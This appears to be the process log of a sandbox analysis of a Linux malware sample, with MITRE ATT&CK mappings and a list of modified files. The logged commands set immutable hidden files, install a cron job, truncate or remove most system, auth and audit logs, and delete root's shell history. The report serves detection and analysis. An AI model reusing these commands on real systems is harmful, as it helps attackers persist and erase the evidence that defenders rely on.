/usr/bin/chattrchattr +i /etc/.ssl/.cert2⤵
-
-
/usr/bin/dirnamedirname /root/.config/.pref2⤵
-
-
/bin/mkdirmkdir -p /root/.config2⤵
-
-
/usr/bin/crontabcrontab -l2⤵
-
-
/usr/bin/chattrchattr +i /root/.config/.pref2⤵
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -l2⤵
- Reads runtime system information
-
-
/usr/bin/findfind /var/log -name "*.log" -exec sh -c "cat /dev/null > {}" ";"2⤵
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/user.log"3⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/user.log"3⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/user.log"3⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/user.log"3⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/user.log"3⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/user.log"3⤵
- Deletes log files
-
/bin/catcat /dev/null4⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/daemon.log"3⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/daemon.log"3⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/daemon.log"3⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/daemon.log"3⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/daemon.log"3⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/daemon.log"3⤵
- Deletes log files
-
/bin/catcat /dev/null4⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/dpkg.log"3⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/dpkg.log"3⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/dpkg.log"3⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/dpkg.log"3⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/dpkg.log"3⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/dpkg.log"3⤵
- Deletes log files
-
/bin/catcat /dev/null4⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/kern.log"3⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/kern.log"3⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/kern.log"3⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/kern.log"3⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/kern.log"3⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/kern.log"3⤵
- Deletes log files
-
/bin/catcat /dev/null4⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/auth.log"3⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/auth.log"3⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/auth.log"3⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/auth.log"3⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/auth.log"3⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/auth.log"3⤵
- Deletes log files
-
/bin/catcat /dev/null4⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/apt/history.log"3⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/apt/history.log"3⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/apt/history.log"3⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/apt/history.log"3⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/apt/history.log"3⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/apt/history.log"3⤵
- Deletes log files
-
/bin/catcat /dev/null4⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/apt/term.log"3⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/apt/term.log"3⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/apt/term.log"3⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/apt/term.log"3⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/apt/term.log"3⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/apt/term.log"3⤵
- Deletes log files
-
/bin/catcat /dev/null4⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/fontconfig.log"3⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/fontconfig.log"3⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/fontconfig.log"3⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/fontconfig.log"3⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/fontconfig.log"3⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/fontconfig.log"3⤵
- Deletes log files
-
/bin/catcat /dev/null4⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/audit/audit.log"3⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/audit/audit.log"3⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/audit/audit.log"3⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/audit/audit.log"3⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/audit/audit.log"3⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/audit/audit.log"3⤵
- Deletes Audit logs
-
/bin/catcat /dev/null4⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/alternatives.log"3⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/alternatives.log"3⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/alternatives.log"3⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/alternatives.log"3⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/alternatives.log"3⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/alternatives.log"3⤵
- Deletes log files
-
/bin/catcat /dev/null4⤵
-
-
-
-
/bin/rmrm -rf "/var/log/secure*" /var/log/messages /var/log/auth.log "/var/log/httpd/*" "/var/log/nginx/*" "/var/log/apache2/*"2⤵
- Deletes system logs
- Deletes log files
-
-
/bin/rmrm -f /root/.bash_history /root/.zsh_history2⤵
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
2Boot or Logon Initialization Scripts
1RC Scripts
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Modify Authentication Process
1Pluggable Authentication Modules
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
2Boot or Logon Initialization Scripts
1RC Scripts
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Scheduled Task/Job
1Cron
1Defense Evasion
Deobfuscate/Decode Files or Information
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Indicator Removal
3Clear Linux or Mac System Logs
3Modify Authentication Process
1Pluggable Authentication Modules
1Replay Monitor
Loading Replay Monitor...
Downloads
group+
group+
group+
group+
group+
group+
gshadow+
gshadow+
gshadow+
gshadow+
gshadow+
gshadow+
passwd
passwd+
passwd+
passwd+
passwd+
passwd+
passwd+
sed4UTJ1u
sedK9ZUME
sedp08hzZ
shadow+
shadow+
shadow+
shadow+
shadow+
shadow+
sed3X6HKh
sedd6u7na
subuid+
subuid+
subuid+
subuid+
subuid+
.bash_logout
.bashrc
.profile
.bash_profile
.bash_profile
.cache
tmp.0bXWvS
tmp.2gbY2G
tmp.8PMHeu
tmp.GqYzKM
tmp.HLmOGT
tmp.IE3CsP
tmp.UV8JZz
tmp.gKaghH
tmp.wlp5TS